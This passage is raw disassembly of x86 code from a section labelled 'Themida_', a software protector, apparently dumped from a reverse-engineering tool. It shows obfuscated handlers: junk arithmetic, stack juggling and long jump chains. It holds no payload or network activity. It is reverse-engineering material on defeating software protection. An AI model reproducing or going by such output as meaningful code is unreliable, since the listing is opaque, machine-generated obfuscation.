esp add esi, 4 push edi mov edi, 4 add esi, edi jmp loc_556213 ; --------------------------------------------------------------------------- loc_55A507: ; CODE XREF: Themida_:00556717j sub esi, 6178580Ah add esi, eax jmp loc_554B8C ; --------------------------------------------------------------------------- loc_55A514: ; CODE XREF: Themida_:0055670Aj mov [esp], ecx push esp pop ecx add ecx, 4 sub esp, 4 mov [esp], ebx push ebp jmp loc_55DA22 ; --------------------------------------------------------------------------- loc_55A52E: ; CODE XREF: Themida_:00553045j sub eax, 7B7261FDh jmp loc_55226C ; --------------------------------------------------------------------------- loc_55A538: ; CODE XREF: Themida_:00558557j push ecx mov ecx, 154C0C2Fh add ecx, 49D78FE6h jmp loc_5584A3 ; --------------------------------------------------------------------------- loc_55A549: ; CODE XREF: Themida_:00558001j sub edx, 11661FAAh jmp loc_5593D0 ; --------------------------------------------------------------------------- loc_55A554: ; CODE XREF: Themida_:005522ACj mov ecx, [esp] add esp, 4 jmp loc_553EBD ; --------------------------------------------------------------------------- loc_55A562: ; CODE XREF: Themida_:00552209j add esi, edi jmp loc_559280 ; --------------------------------------------------------------------------- loc_55A569: ; CODE XREF: Themida_:0055240Aj mov ebx, [esp] jmp loc_558B1C ; --------------------------------------------------------------------------- loc_55A571: ; CODE XREF: Themida_:00557742j push ebp mov ebp, 65E14E97h xor ebx, ebp pop ebp jmp loc_555059 ; --------------------------------------------------------------------------- loc_55A57F: ; CODE XREF: Themida_:00552C2Ej add ax, di jmp loc_55D3F5 ; --------------------------------------------------------------------------- loc_55A587: ; CODE XREF: Themida_:0055997Fj mov [esp], esi mov esi, 4 add ecx, esi jmp loc_55AD9D ; --------------------------------------------------------------------------- loc_55A596: ; CODE XREF: Themida_:0055392Cj add ebp, 4 jmp loc_55BA03 ; --------------------------------------------------------------------------- loc_55A5A1: ; CODE XREF: Themida_:005563C7j mov esp, [esp] mov [esp], dx mov dh, 5Fh add al, 0E5h add al, dh push ecx push edx mov dh, 3Bh mov ch, 74h add ch, 80h sub ch, 2Ah sub ch, dh add ch, 2Ah sub ch, 80h pop edx shl ch, 3 shl ch, 5 push ebx mov bh, 0Eh jmp loc_552A1B ; --------------------------------------------------------------------------- loc_55A5D1: ; CODE XREF: Themida_:005548A8j pop edx push ebp mov ebp, 4 add edx, ebp pop ebp add edx, 4 push edx push dword ptr [esp+4] jmp loc_555F94 ; --------------------------------------------------------------------------- loc_55A5EB: ; CODE XREF: Themida_:0055CBC2j mov ebp, 266A782Ch add ecx, ebp jmp loc_55313D ; --------------------------------------------------------------------------- loc_55A5F7: ; CODE XREF: Themida_:00558F7Ej sub ebx, ecx pop ecx add ebx, 5D0D1AE6h push dword ptr [esp] mov ebp, [esp] add esp, 4 push esi jmp loc_55406B ; --------------------------------------------------------------------------- loc_55A60F: ; CODE XREF: Themida_:00558A89j pop ebx sub eax, ecx pop ecx jmp loc_55ADDA ; --------------------------------------------------------------------------- loc_55A618: ; CODE XREF: Themida_:0055AAB9j add ebx, 4 push ecx mov ecx, 4 add ebx, ecx pop ecx xchg ebx, [esp] jmp loc_55BE57 ; --------------------------------------------------------------------------- loc_55A62F: ; CODE XREF: Themida_:0055BEBBj add ebp, 0CD9569DEh add dword ptr [esp+4], 5D160CE4h jmp loc_559C65 ; --------------------------------------------------------------------------- loc_55A642: ; CODE XREF: Themida_:00554693j cmp eax, edx jz loc_55D128 push esi jmp loc_55259B ; --------------------------------------------------------------------------- loc_55A650: ; CODE XREF: Themida_:00557196j mov ebp, [esp] jmp loc_55BC14 ; --------------------------------------------------------------------------- loc_55A658: ; CODE XREF: Themida_:00559641j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi mov edi, 1031229Ch inc edi add edi, 0EFCEDD67h add ebp, edi pop edi sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], esp jmp loc_556AD9 ; --------------------------------------------------------------------------- loc_55A692: ; CODE XREF: Themida_:00559658j push edi mov edi, 4 add ebx, edi pop edi xchg ebx, [esp] mov esp, [esp] jmp loc_559F9D ; --------------------------------------------------------------------------- loc_55A6A6: ; CODE XREF: Themida_:00557524j add bl, ah pop eax sub bl, 0E9h movzx eax, al push small 433Ch mov [esp], ax jmp loc_5538B6 ; --------------------------------------------------------------------------- loc_55A6BC: ; CODE XREF: Themida_:0055D5E9j add esp, 2 jmp loc_556D5E ; --------------------------------------------------------------------------- loc_55A6C4: ; CODE XREF: Themida_:00552EA4j dec edi sub edi, 1324354Ah sub edi, 50AA5B57h xor edi, 69974419h push 2B7h mov [esp], esi push edx mov edx, 28BD1C14h or edx, 491E0CB2h xor edx, 8ED0DCCh sub edx, 3BEB4818h push edx not dword ptr [esp] pop edx xor edx, 0FFE72EA6h mov esi, edx pop edx and esi, 579A5EE8h sub esi, 47A2025Ch add esi, 1 add esi, 0EDDF7C63h xor edi, esi jmp loc_55DB72 ; --------------------------------------------------------------------------- loc_55A724: ; CODE XREF: Themida_:0055268Bj sub al, dh pop edx push cx jmp loc_557163 ; --------------------------------------------------------------------------- loc_55A72E: ; CODE XREF: Themida_:005564B4j pop ebx push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_551815 ; --------------------------------------------------------------------------- loc_55A74B: ; CODE XREF: Themida_:00555A77j mov ebp, 6D334E43h mov edi, ebp pop ebp push edi mov edi, 2A435D44h sub edi, 6BBB787Ah neg edi add edi, 4CD41AC4h not edi sub edi, 0DEE71848h mov edx, edi pop edi add edx, edi jmp loc_557E16 ; --------------------------------------------------------------------------- loc_55A779: ; CODE XREF: Themida_:00559771j add dword ptr [edi+20h], 2612D0CAh or dword ptr [edi+20h], 61C64103h not dword ptr [edi+20h] jmp loc_551C72 ; --------------------------------------------------------------------------- loc_55A78F: ; CODE XREF: Themida_:0055664Bj mov esi, ecx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push eax mov eax, 270EC163h sub esi, 2E477554h jmp loc_55D8FA ; --------------------------------------------------------------------------- loc_55A7B8: ; CODE XREF: Themida_:00552738j mov ebp, 208B5225h jmp loc_55961E ; --------------------------------------------------------------------------- mov cx, [esp] push eax push esp pop eax jmp loc_55720D ; --------------------------------------------------------------------------- loc_55A7CE: ; CODE XREF: Themida_:00555E5Fj push 5EF8h jmp loc_55877C ; --------------------------------------------------------------------------- loc_55A7D8: ; CODE XREF: Themida_:005590C9j push ebp mov ebp, 18715DB6h shl ebp, 2 jmp loc_55B2E6 ; --------------------------------------------------------------------------- loc_55A7E6: ; CODE XREF: Themida_:00557FDFj pop esp add ebx, 4 push eax push ebx push 7C31523Eh jmp loc_552E6E ; --------------------------------------------------------------------------- loc_55A7F9: ; CODE XREF: Themida_:00559877j add esp, 4 push edx jmp loc_5560D6 ; --------------------------------------------------------------------------- loc_55A802: ; CODE XREF: Themida_:0055CC52j pop ebx jmp loc_55D434 ; --------------------------------------------------------------------------- loc_55A808: ; CODE XREF: Themida_:00556AA3j mov bl, dh pop edx pop eax mov ch, [esp+2] mov [esp+2], bl mov bx, [esp] jmp loc_559A3F ; --------------------------------------------------------------------------- loc_55A81D: ; CODE XREF: Themida_:00557FF0j xchg eax, [esp] jmp loc_55C1F5 ; --------------------------------------------------------------------------- loc_55A825: ; CODE XREF: Themida_:005586BCj pop edx loc_55A826: ; CODE XREF: Themida_:0055483Cj push eax xor dword ptr [esp], 64176C55h mov eax, [esp] push edi push esp mov edi, [esp] add esp, 4 add edi, 4 add edi, 4 jmp loc_55B221 ; --------------------------------------------------------------------------- loc_55A847: ; CODE XREF: Themida_:0055A1A3j mov ebp, [esp] jmp loc_5590D9 ; --------------------------------------------------------------------------- loc_55A84F: ; CODE XREF: Themida_:00553D21j pop dword ptr [esp] jmp loc_556F7E ; --------------------------------------------------------------------------- loc_55A857: ; CODE XREF: Themida_:00556959j add eax, 32F47F00h sub eax, ebx sub eax, 32F47F00h push edx mov edx, 76C87C28h add eax, edx jmp loc_552690 ; --------------------------------------------------------------------------- loc_55A870: ; CODE XREF: Themida_:005521BBj add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 7A17h mov [esp], ecx push ebx push 709h mov [esp], ebp jmp loc_556977 ; --------------------------------------------------------------------------- loc_55A893: ; CODE XREF: Themida_:00558B70j push edx mov edx, 60DC23E6h push eax mov eax, 2CDD5582h not eax and eax, 0DA77392h or eax, 78D45121h and eax, 2D0F3D1Dh neg eax sub eax, 0CA456F8Ch sub edx, eax pop eax shr edx, 3 and edx, 4D65772Ch and edx, 3F661738h xor edx, 8041004h jmp loc_55C030 ; --------------------------------------------------------------------------- loc_55A8D4: ; CODE XREF: Themida_:0055B22Aj pop esp push edx jmp loc_559D89 ; --------------------------------------------------------------------------- loc_55A8DB: ; CODE XREF: Themida_:0055AEB2j not eax xor eax, 5D7163FBh neg eax add eax, 0AA7E4424h add ebp, eax pop eax mov ebx, ebp jmp loc_556315 ; --------------------------------------------------------------------------- loc_55A8F3: ; CODE XREF: Themida_:0055B1AEj mov eax, ebx pop ebx sub ebx, eax mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_55275E ; --------------------------------------------------------------------------- loc_55A912: ; CODE XREF: Themida_:0055211Aj shl ah, 2 push edx mov dh, 7 and dh, 15h jmp loc_55AAED ; --------------------------------------------------------------------------- loc_55A920: ; CODE XREF: Themida_:00553C12j add bh, 2Eh push eax mov al, 32h add al, 9Eh inc al jmp loc_551923 ; --------------------------------------------------------------------------- loc_55A92F: ; CODE XREF: Themida_:0055C1F9j mov edx, esp push edi push ebp push 50F44748h pop ebp jmp loc_55C8F8 ; --------------------------------------------------------------------------- loc_55A93E: ; CODE XREF: Themida_:0055D9F3j add edx, 4 xchg edx, [esp] jmp loc_553754 ; --------------------------------------------------------------------------- loc_55A949: ; CODE XREF: Themida_:00553CD9j or [edi+1Ch], ebx push dword ptr [esp] pop ebx push ebp mov ebp, esp jmp loc_55BE77 ; --------------------------------------------------------------------------- loc_55A958: ; CODE XREF: Themida_:00558239j add ebp, eax pop eax add ebp, 4 xchg ebp, [esp] pop esp add edx, 4 push 3B44h mov [esp], eax mov eax, 2 add edx, eax mov eax, [esp] add esp, 4 xchg edx, [esp] jmp loc_554307 ; --------------------------------------------------------------------------- loc_55A988: ; CODE XREF: Themida_:0055597Ej pop ebx push dword ptr [esp] pop ecx jmp loc_557512 ; --------------------------------------------------------------------------- loc_55A992: ; CODE XREF: Themida_:005588D6j add eax, 298D4D04h jmp loc_556EC3 ; --------------------------------------------------------------------------- loc_55A99C: ; CODE XREF: Themida_:005591FFj pop esp push ebx push esi mov esi, 58CC6F24h mov ebx, esi pop esi or ebx, 549D01BFh push ebx dec dword ptr [esp] pop ebx dec ebx jmp loc_55856D ; --------------------------------------------------------------------------- loc_55A9B8: ; CODE XREF: Themida_:00558991j shl dh, 4 neg dh sub dh, 0B4h mov cl, dh pop edx add al, 0D3h add al, 0AFh sub al, cl sub al, 0AFh sub al, 0D3h pop ecx sub al, 0ABh add al, 0Bh jmp near ptr unk_551D47 ; --------------------------------------------------------------------------- loc_55A9D7: ; CODE XREF: Themida_:005572DFj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_556A82 ; --------------------------------------------------------------------------- loc_55A9E5: ; CODE XREF: Themida_:0055A9F5j pop esp xchg edx, [esp] pop esp push dword ptr [esp] jmp loc_5559AF ; --------------------------------------------------------------------------- loc_55A9F2: ; CODE XREF: Themida_:005536C0j xchg eax, [esp] jmp loc_55A9E5 ; --------------------------------------------------------------------------- loc_55A9FA: ; CODE XREF: Themida_:00551C29j add ecx, 97EE9D48h sub ebx, ecx pop ecx jmp loc_55D827 ; --------------------------------------------------------------------------- loc_55AA08: ; CODE XREF: Themida_:0055B8FAj push 7B84h jmp loc_5522A8 ; --------------------------------------------------------------------------- lodsb jmp loc_555B7B ; --------------------------------------------------------------------------- loc_55AA18: ; CODE XREF: Themida_:00555650j xor eax, ecx jmp loc_5594A9 ; --------------------------------------------------------------------------- loc_55AA1F: ; CODE XREF: Themida_:0055C70Cj push dword ptr [esp] pop esi push edx mov edx, esp jmp loc_5595CA ; --------------------------------------------------------------------------- loc_55AA2B: ; CODE XREF: Themida_:0055D542j mov dl, ch pop ecx xor dl, 0E3h push ecx mov ch, 0D3h inc ch xor ch, 6Eh sub ch, 77h xor dl, ch pop ecx jmp loc_5581BC ; --------------------------------------------------------------------------- loc_55AA44: ; CODE XREF: Themida_:0055A26Cj pop esp sub ecx, 3B699E3Ah jmp loc_55789F ; --------------------------------------------------------------------------- loc_55AA50: ; CODE XREF: Themida_:00553253j xor eax, ebx pop ebx jmp loc_551AC4 ; --------------------------------------------------------------------------- loc_55AA58: ; CODE XREF: Themida_:00557874j mov dx, [esp] add esp, 2 xor ch, 31h xor al, ch mov ecx, [esp] add esp, 4 xor bl, al movzx eax, al pop small word ptr [edi+eax*4] jmp loc_551815 ; --------------------------------------------------------------------------- loc_55AA7B: ; CODE XREF: Themida_:00555D3Bj add esi, 1BFB2252h pop ebp add edx, esi mov esi, [esp] jmp loc_55AEC9 ; --------------------------------------------------------------------------- loc_55AA8C: ; CODE XREF: Themida_:00559D84j push ebp jmp loc_55BCCA ; --------------------------------------------------------------------------- loc_55AA92: ; CODE XREF: Themida_:00557E11j push ecx jmp loc_554334 ; --------------------------------------------------------------------------- loc_55AA98: ; CODE XREF: Themida_:0055552Aj mov [esp], edx mov edx, esp add edx, 4 jmp loc_55339C ; --------------------------------------------------------------------------- loc_55AAA8: ; CODE XREF: Themida_:0055374Fj pop ebp xor [esp], ebp xor ebp, [esp] xor [esp], ebp push dword ptr [esp] pop eax push ebx push esp pop ebx jmp loc_55A618 ; --------------------------------------------------------------------------- loc_55AABE: ; CODE XREF: Themida_:00552F19j mov edx, 4 add ebp, edx pop edx push 72Dh jmp loc_558528 ; --------------------------------------------------------------------------- loc_55AAD0: ; CODE XREF: Themida_:00554F1Ej add ebx, edi pop edi jmp loc_554095 ; --------------------------------------------------------------------------- loc_55AAD8: ; CODE XREF: Themida_:00551DA9j xor edi, 0B51044DAh mov ecx, edi pop edi sub edx, ecx pop ecx add edi, edx pop edx push eax jmp loc_552D39 ; --------------------------------------------------------------------------- loc_55AAED: ; CODE XREF: Themida_:0055A91Bj neg dh dec dh add dh, 0DFh add dh, 8Fh xor ah, dh pop edx jmp loc_55B120 ; --------------------------------------------------------------------------- loc_55AAFF: ; CODE XREF: Themida_:00552CDFj pop ebp add ecx, 4 jmp loc_55B27E ; --------------------------------------------------------------------------- loc_55AB08: ; CODE XREF: Themida_:0055CC40j pop eax push 0E4Dh jmp loc_558068 ; --------------------------------------------------------------------------- loc_55AB13: ; CODE XREF: Themida_:0055B2ADj push 768Bh jmp loc_552EA9 ; --------------------------------------------------------------------------- loc_55AB1D: ; CODE XREF: Themida_:005571DDj pop edi add edx, 0FFBEF7E2h add ebp, edx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push 4E2Fh jmp loc_552A60 ; --------------------------------------------------------------------------- loc_55AB4D: ; CODE XREF: Themida_:005542AAj mov [esp], ax push ebx mov bl, 7Ch mov al, bl mov ebx, [esp] jmp loc_551FD8 ; --------------------------------------------------------------------------- loc_55AB5E: ; CODE XREF: Themida_:00552233j add esp, 4 jmp loc_55BC47 ; --------------------------------------------------------------------------- loc_55AB69: ; CODE XREF: Themida_:00554156j mov [esp], ebx mov ebx, 1C4E2440h neg ebx and ebx, 1FA34C4Eh sub ebx, 35334F37h shl ebx, 6 jmp loc_552A00 ; --------------------------------------------------------------------------- loc_55AB87: ; CODE XREF: Themida_:00557E58j xchg ecx, [esp] pop esp div cx jmp loc_55272A ; --------------------------------------------------------------------------- loc_55AB93: ; CODE XREF: Themida_:0055B81Dj push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_55B4CC ; --------------------------------------------------------------------------- loc_55ABA4: ; CODE XREF: Themida_:0055362Cj mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax jmp loc_557C7F ; --------------------------------------------------------------------------- loc_55ABB7: ; CODE XREF: Themida_:00551F1Cj xchg ebp, [esp] mov esp, [esp] add ecx, 4 push esi mov esi, 4 add ecx, esi jmp loc_55654E ; --------------------------------------------------------------------------- loc_55ABD0: ; CODE XREF: Themida_:0055BD5Cj sub ecx, 0E10C8F5Fh add edi, ecx mov ecx, [esp] add esp, 4 jmp loc_55ACFC ; --------------------------------------------------------------------------- loc_55ABE3: ; CODE XREF: Themida_:0055C90Bj mov edi, [esp] add esp, 4 jmp loc_55C1DB ; --------------------------------------------------------------------------- loc_55ABEE: ; CODE XREF: Themida_:00553C81j push eax mov eax, 6C9334D6h sub ebp, eax mov eax, [esp] add esp, 4 jmp loc_5556E0 ; --------------------------------------------------------------------------- mov cx, [esp] push 35F2h mov [esp], edx mov edx, esp push ebp mov ebp, 444D6BF6h not ebp jmp loc_5532A0 ; --------------------------------------------------------------------------- loc_55AC1C: ; CODE XREF: Themida_:00551AF0j pop esi inc ebx shl ebx, 3 add ebx, 0F0150BAh sub ebx, 6C3A3FEBh push ebx mov ebx, 7FE35075h jmp loc_55D6CF ; --------------------------------------------------------------------------- loc_55AC38: ; CODE XREF: Themida_:00556549j pop ebp mov ebx, ecx pop ecx push edx mov edx, 26A964D0h jmp loc_55C425 ; --------------------------------------------------------------------------- loc_55AC47: ; CODE XREF: Themida_:00559BB8j add eax, 4B12D22Ch jmp loc_5533F4 ; --------------------------------------------------------------------------- loc_55AC51: ; CODE XREF: Themida_:00553116j xchg ebx, esi and esi, 2B3502C7h jmp loc_555C60 ; --------------------------------------------------------------------------- loc_55AC5E: ; CODE XREF: Themida_:0055749Dj add esp, 4 push ecx jmp loc_554718 ; --------------------------------------------------------------------------- loc_55AC6A: ; CODE XREF: Themida_:0055B514j mov [esp], ebp push dword ptr [esp+4] pop ebp jmp loc_55C9EC ; --------------------------------------------------------------------------- loc_55AC77: ; CODE XREF: Themida_:00555DBCj sub eax, ebx pop ebx pop ebp push ecx push esp pop ecx add ecx, 4 jmp loc_55BB53 ; --------------------------------------------------------------------------- loc_55AC89: ; CODE XREF: Themida_:0055687Aj push 2CB7h jmp loc_556BD9 ; --------------------------------------------------------------------------- loc_55AC93: ; CODE XREF: Themida_:005543F9j push 36865BA8h pop eax xor eax, 236F34A8h jmp loc_55DCE3 ; --------------------------------------------------------------------------- loc_55ACA3: ; CODE XREF: Themida_:00552363j not ebp push edi mov edi, 478D0075h jmp loc_554602 ; --------------------------------------------------------------------------- loc_55ACB0: ; CODE XREF: Themida_:00556CCEj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov esi, [esp] jmp loc_5521B8 ; --------------------------------------------------------------------------- loc_55ACC4: ; CODE XREF: Themida_:0055BBABj mov ch, 35h jmp loc_554566 ; --------------------------------------------------------------------------- loc_55ACCB: ; CODE XREF: Themida_:00553601j push 7FAh mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_557D4D ; --------------------------------------------------------------------------- loc_55ACE0: ; CODE XREF: Themida_:0055286Dj sub esp, 2 mov [esp], cx jmp loc_552AB6 ; --------------------------------------------------------------------------- loc_55ACEC: ; CODE XREF: Themida_:00551FCBj add eax, 4 sub eax, 4 xor eax, [esp] jmp loc_557DE4 ; --------------------------------------------------------------------------- loc_55ACFC: ; CODE XREF: Themida_:0055ABDEj add edi, ecx jmp loc_55D2F1 ; --------------------------------------------------------------------------- loc_55AD03: ; CODE XREF: Themida_:0055859Ej push esp pop esi push ebp jmp loc_55D0FE ; --------------------------------------------------------------------------- loc_55AD0B: ; CODE XREF: Themida_:005583F1j pop eax add [esp+4], eax push eax mov eax, 0C66360Dh jmp loc_556FA8 ; --------------------------------------------------------------------------- loc_55AD1B: ; CODE XREF: Themida_:00556F6Bj pop edx shl ecx, 1 add ecx, 9009AE23h jmp loc_552736 ; --------------------------------------------------------------------------- loc_55AD29: ; CODE XREF: Themida_:005588BCj mov esp, [esp] mov ax, [esp] push esi push esp jmp loc_557B55 ; --------------------------------------------------------------------------- loc_55AD37: ; CODE XREF: Themida_:0055739Bj sub eax, 3E8634Bh shr eax, 4 shl eax, 5 inc eax sub eax, 0F904D97h push edi mov edi, 1EB82B89h neg edi or edi, 4408735Fh or edi, 5DDC1CC5h jmp loc_552F5D ; --------------------------------------------------------------------------- loc_55AD61: ; CODE XREF: Themida_:0055B9C5j sub ebx, edi jmp loc_557AB7 ; --------------------------------------------------------------------------- loc_55AD68: ; CODE XREF: Themida_:00553777j mov edx, 4 add esi, edx mov edx, [esp] add esp, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], ebp mov ebp, 4 sub esi, ebp jmp loc_557FB3 ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_55BAE3 ; --------------------------------------------------------------------------- loc_55AD9D: ; CODE XREF: Themida_:0055A591j pop esi add ecx, 4 jmp loc_55696C ; --------------------------------------------------------------------------- loc_55ADA6: ; CODE XREF: Themida_:0055D159j pop edi pop dword ptr [esp] mov esp, [esp] mul cx jmp loc_5541E8 ; --------------------------------------------------------------------------- loc_55ADB5: ; CODE XREF: Themida_:0055CA04j sub edx, 0CE3A1CE4h add edi, 181704FDh add edi, edx sub edi, 181704FDh pop edx push esi push ecx jmp loc_557BC3 ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] jmp loc_55B5E5 ; --------------------------------------------------------------------------- loc_55ADDA: ; CODE XREF: Themida_:0055A613j push ecx jmp loc_55D261 ; --------------------------------------------------------------------------- loc_55ADE0: ; CODE XREF: Themida_:0055766Cj mov cl, al jmp loc_55538B ; --------------------------------------------------------------------------- loc_55ADE7: ; CODE XREF: Themida_:00554429j or ecx, 21F63349h jmp loc_55BD59 ; --------------------------------------------------------------------------- loc_55ADF2: ; CODE XREF: Themida_:0055A45Aj push small word ptr [esp+2] pop dx pop small word ptr [esp] not dx jmp loc_5597AC ; --------------------------------------------------------------------------- loc_55AE05: ; CODE XREF: Themida_:005562B6j or ebp, 444765DFh xor ebp, 7DBA47B1h jmp loc_556C4C ; --------------------------------------------------------------------------- loc_55AE16: ; CODE XREF: Themida_:0055302Dj pop eax push 1B9Ah mov [esp], esi push dword ptr [esp] jmp loc_55D145 ; --------------------------------------------------------------------------- push 1F6Fh jmp loc_55C56D ; --------------------------------------------------------------------------- loc_55AE31: ; CODE XREF: Themida_:00552326j xchg ah, cl dec ah jmp loc_5552D8 ; --------------------------------------------------------------------------- loc_55AE3A: ; CODE XREF: Themida_:0055701Dj movzx eax, al mov dx, [esp] push 2512h mov [esp], edi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edi, [esp] add esp, 4 jmp loc_55938B ; --------------------------------------------------------------------------- loc_55AE68: ; CODE XREF: Themida_:0055329Bj push esi mov esi, esp jmp loc_556F3C ; --------------------------------------------------------------------------- loc_55AE70: ; CODE XREF: Themida_:0055DAE3j push ebx mov bl, 6 xor dh, bl pop ebx neg dh xor dh, 0B7h sub al, dh mov edx, [esp] add esp, 4 add al, 41h jmp loc_5585D4 ; --------------------------------------------------------------------------- loc_55AE8D: ; CODE XREF: Themida_:0055744Bj and ebp, 3E21199Dh add ebp, 643029BBh and ebp, 1936AA8h sub esp, 4 mov [esp], eax mov eax, 0A4A74E0h and eax, 7C9070B9h jmp loc_55A8DB ; --------------------------------------------------------------------------- loc_55AEB7: ; CODE XREF: Themida_:00557A68j pop ebx add bp, 56FBh sub bx, bp pop ebp sub bx, ax jmp loc_553703 ; --------------------------------------------------------------------------- loc_55AEC9: ; CODE XREF: Themida_:0055AA87j add esp, 4 push edi mov edi, 4 add edx, edi pop edi xchg edx, [esp] jmp loc_55DA58 ; --------------------------------------------------------------------------- loc_55AEDD: ; CODE XREF: Themida_:00559D6Aj push ebx jmp loc_55D3FE ; --------------------------------------------------------------------------- loc_55AEE3: ; CODE XREF: Themida_:0055BF21j push 753Ah mov [esp], eax mov eax, 33820829h shl eax, 5 jmp loc_557938 ; --------------------------------------------------------------------------- loc_55AEF8: ; CODE XREF: Themida_:0055B618j and ecx, 58BC6286h sub ecx, 3D73853h not ecx xor ecx, 0EBD315C8h add ebx, ecx pop ecx add ebx, 4 xchg ebx, [esp] jmp loc_5542A3 ; --------------------------------------------------------------------------- loc_55AF1A: ; CODE XREF: Themida_:00556BCAj xor [esp], ecx xor ecx, [esp] jmp loc_55913B ; --------------------------------------------------------------------------- loc_55AF25: ; CODE XREF: Themida_:0055B033j pop edi add edi, 4 sub edi, 4 jmp loc_5550A9 ; --------------------------------------------------------------------------- loc_55AF34: ; CODE XREF: Themida_:00554ADEj mov ecx, 79561BC3h add ecx, 0FFFFFFFFh push edi mov edi, 79561BC0h add ecx, 3BCA4C15h sub ecx, edi sub ecx, 3BCA4C15h pop edi add ebx, ecx push dword ptr [esp] pop ecx push esi jmp loc_55D678 ; --------------------------------------------------------------------------- loc_55AF60: ; CODE XREF: Themida_:00557B50j mov ecx, 53145765h jmp loc_557F08 ; --------------------------------------------------------------------------- loc_55AF6A: ; CODE XREF: Themida_:005585CFj mov [eax], cl mov eax, [esp] add esp, 4 mov edx, [esp] jmp loc_551B0E ; --------------------------------------------------------------------------- loc_55AF7A: ; CODE XREF: Themida_:0055878Cj xor ebp, 418B5EBFh jmp loc_55D0E1 ; --------------------------------------------------------------------------- loc_55AF85: ; CODE XREF: Themida_:00556E3Bj mov eax, 68682FF4h mov edi, 68682FF0h xor edi, eax pop eax jmp loc_552203 ; --------------------------------------------------------------------------- loc_55AF97: ; CODE XREF: Themida_:0055B400j add ebp, 4 jmp loc_557411 ; --------------------------------------------------------------------------- loc_55AFA2: ; CODE XREF: Themida_:0055D5A4j pop esi add esp, 4 add esi, 4 jmp loc_5570A5 ; --------------------------------------------------------------------------- loc_55AFB1: ; CODE XREF: Themida_:00552EFBj pop esp mov [esp], ax jmp loc_551815 ; --------------------------------------------------------------------------- loc_55AFBB: ; CODE XREF: Themida_:00557095j dec edx or edx, 5EFF69B3h add edx, 5F2C12BDh add edx, 20D47348h sub esi, 48BC35BFh add esi, edx push ebp mov ebp, 48BC35BFh add esi, ebp pop ebp push dword ptr [esp] pop edx push edi mov edi, esp jmp loc_55964C ; --------------------------------------------------------------------------- loc_55AFEB: ; CODE XREF: Themida_:00552EECj mov eax, 8741D7Ah add eax, 2DBA20EDh jmp loc_55B31C ; --------------------------------------------------------------------------- loc_55AFFA: ; CODE XREF: Themida_:0055B026j mov edx, 0A2A29ECBh sub ecx, 3098716Bh add ecx, edx jmp loc_554E01 ; --------------------------------------------------------------------------- loc_55B00C: ; CODE XREF: Themida_:0055BE52j push ebp mov ebp, 4 jmp loc_555A85 ; --------------------------------------------------------------------------- loc_55B017: ; CODE XREF: Themida_:0055D3B8j mov ecx, [esp] jmp loc_556680 ; --------------------------------------------------------------------------- loc_55B01F: ; CODE XREF: Themida_:00558C4Fj or ecx, 591D0039h push edx jmp loc_55AFFA ; --------------------------------------------------------------------------- loc_55B02B: ; CODE XREF: Themida_:00556201j push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_55AF25 ; --------------------------------------------------------------------------- loc_55B038: ; CODE XREF: Themida_:00557E99j add ebx, 4 sub ebx, 4 jmp loc_559E75 ; --------------------------------------------------------------------------- loc_55B046: ; CODE XREF: Themida_:00557D63j pop edi pop esi xchg ebp, [esp] mov esp, [esp] mov [esp], edx mov edx, 2481FB6Eh add eax, 29BF025Eh sub eax, 608345F0h add eax, edx add eax, 608345F0h sub eax, 29BF025Eh push dword ptr [esp] jmp loc_55DA6E ; --------------------------------------------------------------------------- loc_55B074: ; CODE XREF: Themida_:00556AE0j mov edi, [esp] add esp, 4 add edi, 4 add edi, 4 jmp loc_551EC3 ; --------------------------------------------------------------------------- loc_55B08B: ; CODE XREF: Themida_:005520D5j push esi mov esi, esp jmp loc_554722 ; --------------------------------------------------------------------------- loc_55B093: ; CODE XREF: Themida_:0055D0F9j mov ebp, 4 jmp loc_552BE7 ; --------------------------------------------------------------------------- loc_55B09D: ; CODE XREF: Themida_:00558A61j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add al, 0D8h add al, dh jmp loc_5560A4 ; --------------------------------------------------------------------------- loc_55B0B5: ; CODE XREF: Themida_:0055DCD0j dec ecx push edi jmp loc_559BDA ; --------------------------------------------------------------------------- loc_55B0BC: ; CODE XREF: Themida_:00555641j add esi, 207B5B64h pop ebp jmp loc_5558F1 ; --------------------------------------------------------------------------- loc_55B0C8: ; CODE XREF: Themida_:005570B4j push ecx mov ecx, esp add ecx, 4 push edi mov edi, 4 push ebx mov ebx, 65DE1571h jmp loc_5576F0 ; --------------------------------------------------------------------------- loc_55B0E2: ; CODE XREF: Themida_:0055C967j mov [esp], edx push ebx mov bl, 76h mov dh, 57h xor dh, bl mov ebx, [esp] jmp loc_553BFC ; --------------------------------------------------------------------------- loc_55B0F4: ; CODE XREF: Themida_:0055986Aj mov ebp, ecx pop ecx add ebp, 0C54FF451h add esi, ebp pop ebp add esi, 2 xchg esi, [esp] mov esp, [esp] mov dx, [esp] sub esp, 4 mov [esp], ecx push esp pop ecx jmp loc_556C1C ; --------------------------------------------------------------------------- loc_55B120: ; CODE XREF: Themida_:0055AAFAj or ah, 16h push ecx jmp loc_5539C5 ; --------------------------------------------------------------------------- loc_55B129: ; CODE XREF: Themida_:00559A3Aj mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_556154 ; --------------------------------------------------------------------------- loc_55B141: ; CODE XREF: Themida_:0055C5D5j sub edi, 4 xchg edi, 